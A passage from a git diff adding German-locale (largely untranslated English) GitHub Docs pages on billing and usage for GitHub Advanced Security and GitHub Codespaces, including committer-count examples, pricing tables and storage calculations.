+You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+
+For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+
+{% endif %}
+
+## Understanding active committer usage
+
+The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count.
+
+| Date | Events during the month | Total committers | 
+| :- | :- | -: | 
+| <nobr>April 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | 
+| <nobr>May 1</nobr> | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** |
+| <nobr>August 1</nobr> | Developer **A**'s contributions no longer count towards the licences required, because 90 days have passed. | <sub>_50 - 1_</sub></br>**49** | 
+| <nobr>August 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | <sub>_49 + 10_</sub><br/>**59** | 
+| <nobr>August 16</nobr> | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | <sub>_49 - 29_</sub><br/>**20** |
+
+{% note %}
+
+**Note:** A user will be flagged as active when their commits are pushed to any branch of a repository, even if the commits were authored more than 90 days ago.
+
+{% endnote %}
+
+## Getting the most out of {% data variables.product.prodname_GH_advanced_security %}
+
+{% data reusables.advanced-security.getting-the-most-from-your-license %}
+
+{% endif %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/index.md b/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/index.md
new file mode 100644
index 0000000000..d373b4d7fc
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/index.md
@@ -0,0 +1,23 @@
+---
+title: Verwalten der Abrechnung von GitHub Advanced Security
+shortTitle: GitHub Advanced Security
+intro: 'Du kannst deine Nutzung von Arbeitsplätzen in einer Lizenz für {% data variables.product.prodname_advanced_security %} einsehen und verwalten.'
+product: '{% data reusables.gated-features.ghas %}'
+redirect_from:
+  - /billing/managing-licensing-for-github-advanced-security
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-github-advanced-security
+  - /viewing-your-github-advanced-security-usage
+ms.openlocfilehash: 4907fa9b0fa59ac8407547541cdc6bb1d22c3d95
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085799'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md b/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md
new file mode 100644
index 0000000000..d2ad2bdba2
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md
@@ -0,0 +1,114 @@
+---
+title: Viewing your GitHub Advanced Security usage
+intro: 'You can view usage of {% data variables.product.prodname_GH_advanced_security %} for your enterprise.'
+permissions: 'Enterprise owners can view usage for {% data variables.product.prodname_GH_advanced_security %}.'
+product: '{% data reusables.gated-features.ghas %}'
+redirect_from:
+  - /billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage
+  - /admin/advanced-security/viewing-your-github-advanced-security-usage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage
+  - /github/setting-up-and-managing-your-enterprise/managing-use-of-advanced-security-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-advanced-security-usage
+versions:
+  ghes: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+type: how_to
+topics:
+  - Advanced Security
+  - Enterprise
+shortTitle: View Advanced Security usage
+---
+
+## About licenses for {% data variables.product.prodname_GH_advanced_security %}
+
+{% data reusables.advanced-security.about-ghas-license-seats %} For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."
+
+{% ifversion ghas-committers-calculator %}
+You can calculate how many additional seats will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories with the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-active-committers)."
+{% endif %}
+
+## Viewing {% data variables.product.prodname_GH_advanced_security %} license usage for your enterprise account
+
+You can check how many seats your license includes and how many of them are currently used.
+
+{% ifversion fpt or ghec %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+   The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage.
+  ![{% data variables.product.prodname_GH_advanced_security %} in enterprise licensing settings](/assets/images/help/enterprises/enterprise-licensing-tab-ghas.png)
+  If you run out of seats, the section will be red and show "Limit exceeded." You should either reduce your use of {% data variables.product.prodname_GH_advanced_security %} or purchase more seats. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#getting-the-most-out-of-github-advanced-security)."
+  ![{% data variables.product.prodname_GH_advanced_security %} in enterprise licensing settings showing "Limit exceeded"](/assets/images/help/enterprises/enterprise-licensing-tab-ghas-no-seats.png)
+4. Optionally, to see a detailed breakdown of usage per organization, in the left sidebar, click **Billing**.
+  ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png)
+  In the "{% data variables.product.prodname_GH_advanced_security %}" section you can see the number of committers and unique committers for each organization.
+  ![{% data variables.product.prodname_GH_advanced_security %} in enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-dotcom.png)
+5. Optionally, click the name of an organization where you are an owner to display the security and analysis settings for the organization.
+  ![Owned organization in {% data variables.product.prodname_GH_advanced_security %} section of enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png)
+6. On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization.
+  ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png)
+  For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+{% elsif ghes %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+   The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. You can see the total number of seats used, as well as a table with the number of committers and unique committers for each organization.
+  ![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
+5. Optionally, click the name of an organization where you are an owner to display the security and analysis settings for the organization.
+  ![Owned organization in {% data variables.product.prodname_GH_advanced_security %} section of enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png)
+6. On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization.
+  ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png)
+  For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+{% endif %}
+
+{% ifversion ghec or ghes > 3.3 %}
+
+## Downloading {% data variables.product.prodname_GH_advanced_security %} license usage information
+
+You can download a CSV file with {% data variables.product.prodname_GH_advanced_security %} license usage information at both the enterprise and organization levels. The CSV file contains information about each {% data variables.product.prodname_advanced_security %} seat that is in use, including:
+
+- The username of the person using the seat
+- The {% data variables.product.prodname_advanced_security %}-enabled repositories where commits were made
+- The organizations that people using seats belong to
+- The most recent commit dates
+
+You can use this information for insights into how your {% data variables.product.prodname_advanced_security %} licenses are being used, such as which members of your enterprise are using an {% data variables.product.prodname_advanced_security %} seat or how {% data variables.product.prodname_advanced_security %} licenses are being consumed across your organizations.
+
+You can download the {% data variables.product.prodname_advanced_security %} license usage CSV through the {% data variables.product.product_name %} user interface or the REST API.
+
+### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the UI
+
+#### At the organization-level
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+1. Underneath "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-label="The download icon" %} CSV report** next to "Committers."
+  ![Download button for organization-level data](/assets/images/help/billing/download-organization-GHAS-usage-data.png)
+
+#### At the enterprise-level
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+1. Under "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-label="The download icon" %} CSV report** next to "Committers."
+  ![Download button for enterprise-level data](/assets/images/help/billing/download-enterprise-GHAS-usage-data.png)
+
+### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the REST API
+
+You can retrieve {% data variables.product.prodname_advanced_security %} usage information via the billing API.
+
+{% ifversion ghec %}
+
+For organization-level data, use the `/orgs/{org}/settings/billing/advanced-security` endpoint. For more information, see "[Billing](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization)" in the {% data variables.product.prodname_dotcom %} REST API documentation.
+
+{% endif %}
+
+For enterprise-level data, use the `/enterprises/{enterprise}/settings/billing/advanced-security` endpoint. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-github-advanced-security-active-committers-for-an-enterprise)" in the {% data variables.product.prodname_dotcom %} REST API documentation.
+
+{% endif %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md b/translations/de-DE/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md
new file mode 100644
index 0000000000..ce73aba9f4
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md
@@ -0,0 +1,197 @@
+---
+title: About billing for GitHub Codespaces
+shortTitle: About billing
+intro: 'Learn about the costs for using {% data variables.product.prodname_github_codespaces %}, and the monthly usage quotas included with {% data variables.product.prodname_dotcom %} personal accounts.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Codespaces
+  - Billing
+redirect_from:
+  - /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces
+  - /github/developing-online-with-codespaces/about-billing-for-codespaces
+  - /codespaces/getting-started-with-codespaces/about-billing-for-codespaces
+  - /codespaces/codespaces-reference/about-billing-for-codespaces
+  - /codespaces/codespaces-reference/understanding-billing-for-codespaces
+  - /codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md
+---
+
+## {% data variables.product.prodname_github_codespaces %} pricing
+
+{% data reusables.codespaces.codespaces-free-for-personal-intro %}
+
+Charges are billed to an organization or enterprise when all of the following are true:
+
+- The repository from which a codespace is started (or the parent repository, in the case of a forked repository) is owned by an organization.
+- The organization is configured to be billed for codespaces created from the repository or forks of the repository.
+- The user creating the codespace belongs to the organization, or is an outside collaborator affiliated with the organization, and the organization has chosen to pay for this user's use of organization-owned codespaces.
+
+Otherwise use of {% data variables.product.prodname_github_codespaces %} applies to the personal account of the person who created the codespace, and either consumes some of the monthly included usage for their personal account, or their account is billed according to their usage in excess of their included quotas. 
+
+For information about how to configure an organization to be billed for codespace usage, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." The Free, Team, and Enterprise plans for organization and enterprise accounts do not include any free use of {% data variables.product.prodname_github_codespaces %}. 
+
+### Monthly included storage and core hours for personal accounts
+
+The following storage and core hours of usage are included, free of charge, for personal accounts:
+
+| Account plan | Storage per month | Core hours per month |
+| ------------ | ----------------- | -------------------- |
+| {% data variables.product.prodname_dotcom %} Free for personal accounts | 15 GB | 120 |
+| {% data variables.product.prodname_dotcom %} Pro                        | 20 GB | 180 |
+
+{% note %}
+
+**Note**: A "core hour" is a measure used for included compute usage. To calculate core hours, multiply the number of hours for which a codespace has been active by the multiplier in the pricing table below. For the basic machine types, the multiplier is the number of processor cores in the machine that hosts the codespace. For example, if you use a 2-core machine for your codespace and it's active for an hour, you have used 2 core hours. If you use an 8-core machine for an hour, you have used 8 core hours. If you use an 8-core machine for two hours, you have used 16 core hours.
+
+{% endnote %}
+
+You will be notified by email when you have used 75%, 90%, and 100% of your included quotas. Notifications are also displayed in a "toast" message within {% data variables.product.prodname_vscode_shortname %} and the {% data variables.product.prodname_vscode_shortname %} web client. You can turn off email notifications if required. For more information, see "[Managing the spending limit for GitHub Codespaces](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-usage-and-spending-limit-email-notifications)."
+
+When a personal account has used all of either the included storage or compute usage (whichever is reached first), and has no spending limit configured, use of {% data variables.product.prodname_github_codespaces %} will be blocked. You must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. At the beginning of the next monthly billing cycle the included usage is reset. Storage will not be billed while use of {% data variables.product.prodname_github_codespaces %} is blocked. 
+
+You can view details of your usage for the current month at any time. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
+
+If you are blocked from resuming a codespace and you want to continue to work on changes you have made in your codespace, you can do any of the following:
+
+- Add a payment method and a spending limit greater than $0 USD.
+- Export the changes from the codespace to a branch. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+- Wait for your monthly included usage to reset at the start of the next monthly billing cycle. 
+
+If you have used all of either your included storage usage or your included compute usage, and you have set up a payment method and a spending limit, any further use of codespaces owned by your personal account will incur charges for whichever type of usage has no remaining included quota. You will not be charged for the other type of usage until you have also used all of its included quota.
+
+### Pricing for paid usage
+
+A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of disk space the codespace occupies, while it exists. The compute cost is proportional to the number of processor cores in the machine type you choose for your codespace, as shown in the table below. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine.
+
+| Component           | Machine type | Unit of measure | Included usage multiplier | Price |
+| ------------------- | ------------ | --------------- | ------------------------- | ----- |
+| Codespaces compute  |  2 core      | 1 hour          | 2                         | $0.18 |
+|                     |  4 core      | 1 hour          | 4                         | $0.36 |
+|                     |  8 core      | 1 hour          | 8                         | $0.72 |
+|                     |  16 core     | 1 hour          | 16                        | $1.44 |
+|                     |  32 core     | 1 hour          | 32                        | $2.88 |
+| Codespaces storage  |  Storage     | 1 GB-month<sup>*</sup> | N/A                | $0.07 |
+
+<sup>*</sup> See "[Billing for storage usage](#billing-for-storage-usage)" below for details of the GB-month unit of measure.
+
+If you enable prebuilding of codespaces this will incur additional charges. For more information, see "[Billing for {% data variables.product.prodname_codespaces %} prebuilds](#billing-for-codespaces-prebuilds)."
+
+## About billing for {% data variables.product.prodname_github_codespaces %}
+
+{% data variables.product.prodname_github_codespaces %} is billed in US dollars (USD) according to the amount of compute time and storage space your codespaces use. {% data reusables.codespaces.codespaces-monthly-billing %}
+
+Billing for {% data variables.product.prodname_github_codespaces %} shares your account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)."
+
+{% ifversion ghec %}
+If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% endif %}
+
+### Billing for compute usage
+The compute usage of a codespace is the length of time for which that codespace is active multiplied by the multiplier in the pricing table for the machine type of the codespace. Total compute usage is calculated by summing the time used by all codespaces billable to a particular account. These totals are reported to the billing service every hour, and are billed monthly.
+
+As an example, if a codespace is active for 1 hour and 15 minutes, then the compute cost will be the hourly cost of the codespace, as determined by its machine type, multiplied by 1.25.
+
+You can control compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
+
+### Billing for storage usage
+For {% data variables.product.prodname_github_codespaces %} billing purposes, storage comprises the disk space used by all of the codespaces and prebuilds in your account. This includes any files you use in a codespace, such as cloned repositories, configuration files, data loaded to the codespace (for example as input or output of the software running in the repository), and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or inactive with the exception of blocked usage due to exhausted included usage quota or reaching your spending limit. The storage billing for a codespace ends when it is deleted.
+
+{% note %}
+
+**Notes**: 
+
+- When you use the default dev container configuration (see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)"), we do not count the default container as used storage. When you create a custom container using a dev container configuration with a different base image we do count the container as used storage.
+- When you rebuild your container from the default image we do not count the base container as used storage. For other base images all of the storage consumed by the codespace, including the base container, is counted as used storage.
+
+{% endnote %}
+
+Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month.
+
+For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of {% data variables.product.prodname_github_codespaces %} during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of `(24 * 3) * 200 / (24 * 30) = 20` GB-months.
+
+For each hourly report, the storage usage for the previous hour is calculated in seconds. As a result, you won't be charged for a full hour of storage if a codespace did not exist for the full 60 minutes. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB.
+
+Organization owners can:
+- List the currently active and stopped codespaces for your organization. For more information, see "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)." In addition to the cost of these codespaces, the cost of {% data variables.product.prodname_github_codespaces %} for the current month may include costs for codespaces that existed earlier in the current month but have since been deleted. 
+- See the total {% data variables.product.prodname_github_codespaces %} compute and storage usage for your organization for the current month to date. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
+- Configure your organization settings to manage the cost of {% data variables.product.prodname_github_codespaces %}. For more information, see "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)."
+
+To estimate the costs for metered services, you can use the {% data variables.product.prodname_dotcom %} [pricing calculator](https://github.com/pricing/calculator?feature=codespaces).
+
+### Billing for {% data variables.product.prodname_codespaces %} prebuilds
+
+{% data reusables.codespaces.prebuilds-definition %} For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)."
+
+#### {% data variables.product.prodname_actions %} costs for prebuilds
+
+Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. You can configure how you want prebuild updates to be automatically triggered. For information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
+
+As with other workflows, while prebuild workflows are running they consume {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or they incur charges for {% data variables.product.prodname_actions %} minutes. For more information about pricing for {% data variables.product.prodname_actions %} minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds.
+
+You can track usage of prebuild workflows and storage by downloading a usage report for your account. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
+
+#### Storage costs for prebuilds
+
+In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration, for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces.
+
+The storage cost for a prebuild in a single region will be similar to the storage cost that will be incurred for storing a single codespace created from that prebuild. The storage cost for the generated codespace may be more than the cost for the prebuild if, for example, the `updateContentCommand` and `postCreateCommand` commands are used during codespace creation to download more files to the dev container.
+
+The total storage costs associated with a prebuild configuration will depend on the following factors.
+
+- The price of storage per GB. See the table above.
+- The size of the generated prebuild in GB.
+- The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region).
+- The number of older versions of the prebuild that are retained.
+
+The storage cost for the prebuilds generated by a prebuild configuration is therefore calculated as: `price per GB * size (GB) * regions * versions`.
+
+#### Controlling the cost of prebuilds
+
+To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
+
+To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
+
+{% note %}
+
+**Note**: Prebuilds may be updated several times during a billing month. Newer versions of a prebuild may be larger or smaller than the previous versions. This will affect the storage charges. For details of how storage is calculated during a billing month, see "[Billing for storage usage](#billing-for-storage-usage)" above.
+
+{% endnote %}
+
+#### Cost of codespaces created from prebuilds
+
+Use of codespaces created using prebuilds is charged at the same rate as regular codespaces.
+
+## Setting a spending limit
+
+{% data reusables.codespaces.codespaces-spending-limit-requirement %}
+
+For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)."
+
+{% data reusables.codespaces.exporting-changes %}
+
+## Limiting the machine types for organization-owned codespaces
+
+By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)."
+
+If a machine type that has more resources is chosen, this will affect the per-hour charge for that codespace, as shown above. 
+
+Organization owners can create a policy to limit the choice of machine types available to users for codespaces that are billed to an organization or enterprise account. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+## How billing is handled for forked repositories
+
+Usage of codespaces created from a forked repository will be billed to your personal account unless the upstream (or parent) repository is in an organization that has allowed you - as a member, or outside collaborator, of the organization - to use codespaces at the organization's expense.
+
+For example, consider a member, or outside collaborator, of an organization that has allowed billing for codespaces for that user. If the user has permission to fork an organization-owned private repository, they can subsequently create and use a codespace for the new repository at the organization's expense. This is because the organization is the owner of the parent repository. Note that the organization owner can remove the user's access to the private repository, the forked repository, and therefore also the codespace. The organization owner can also delete the parent repository which will also delete the forked repository. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository)."
+
+{% data reusables.codespaces.codespaces-disabling-org-billing %}
+
+## How billing is handled when a repository is transferred to another organization
+
+Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly.
+
+## What happens when users are removed
+
+If a user is removed from an organization or repository, their codespaces are automatically deleted. 
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-codespaces/index.md b/translations/de-DE/content/billing/managing-billing-for-github-codespaces/index.md
new file mode 100644
index 0000000000..d38eeec17c
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-codespaces/index.md
@@ -0,0 +1,13 @@
+---
+title: Managing billing for GitHub Codespaces
+shortTitle: Codespaces
+intro: 'You can view your usage and set a spending limit for {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-github-codespaces
+  - /viewing-your-github-codespaces-usage
+  - /managing-the-spending-limit-for-github-codespaces
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md b/translations/de-DE/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md
new file mode 100644
index 0000000000..ad11575bec
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md
@@ -0,0 +1,73 @@
+---
+title: Viewing your GitHub Codespaces usage
+shortTitle: Viewing your usage
+intro: 'You can view the compute hours and storage used by {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Codespaces
+  - Billing
+redirect_from:
+  - /billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage
+---
+
+## Viewing {% data variables.product.prodname_github_codespaces %} usage for your personal account
+
+You can see how much of the usage included in your personal account you have used so far in the current monthly billing cycle. If you have set up a payment method, set a spending limit, and used all of your included usage, you can also check your bill for the current month.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+1. Under "{% data variables.product.prodname_codespaces %}," you can see how many core hours of {% data variables.product.prodname_github_codespaces %} compute usage and GB-months of storage you have used so far in the current billing month.
+
+   ![Screenshot of the initial view of personal usage](/assets/images/help/codespaces/view-personal-usage-collapsed.png)
+
+   For information about "core hours" and "GB-months," see "[About billing for {% data variables.product.prodname_github_codespaces %}](/enterprise-cloud@latest/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+
+1. Optionally, click **Usage hours** and **Storage** to see more details.
+
+   ![Screenshot of the expanded view of personal usage](/assets/images/help/codespaces/view-personal-usage-expanded.png)
+
+   The **Included** column shows how many of the core hours of compute usage, or GB-months of storage, included free with your account, you have used so far this month. The **Paid** column shows how many billed core hours of usage, or GB-months of storage, you have used. The figures are updated once every hour.
+
+   In the screenshot above, the entire quota of included storage for the month has been used. When you've used all of either the included compute usage or storage (whichever is reached first), you must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. For more information, see "[Adding or editing a payment method](/enterprise-cloud@latest/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method)" and "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-personal-account)."
+
+{% data reusables.codespaces.usage-report-download %}
+
+## Viewing {% data variables.product.prodname_github_codespaces %} usage for your organization account
+
+Organization owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for the organization.
+
+{% data reusables.organizations.billing-settings %}
+1. Under "{% data variables.product.prodname_codespaces %}", view the details of the compute hours and storage used so far this month.
+
+   ![Screenshot of compute usage and storage details](/assets/images/help/billing/codespaces-compute-storage.png)
+
+   You can also see and update your current spending limit. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)."
+
+   {% note %}
+
+   **Notes**: 
+   * The costs shown here are the cumulative costs within the current monthly billing period. The metered costs for {% data variables.product.prodname_github_codespaces %} shown on this page are reset to zero at the start of each monthly billing period. Outstanding costs from previous months are not shown.
+   * The figures on this page are updated every hour.
+
+   {% endnote %}
+
+{% data reusables.codespaces.usage-report-download %}
+
+{% ifversion ghec %}
+## Viewing {% data variables.product.prodname_codespaces %} usage for your enterprise account
+
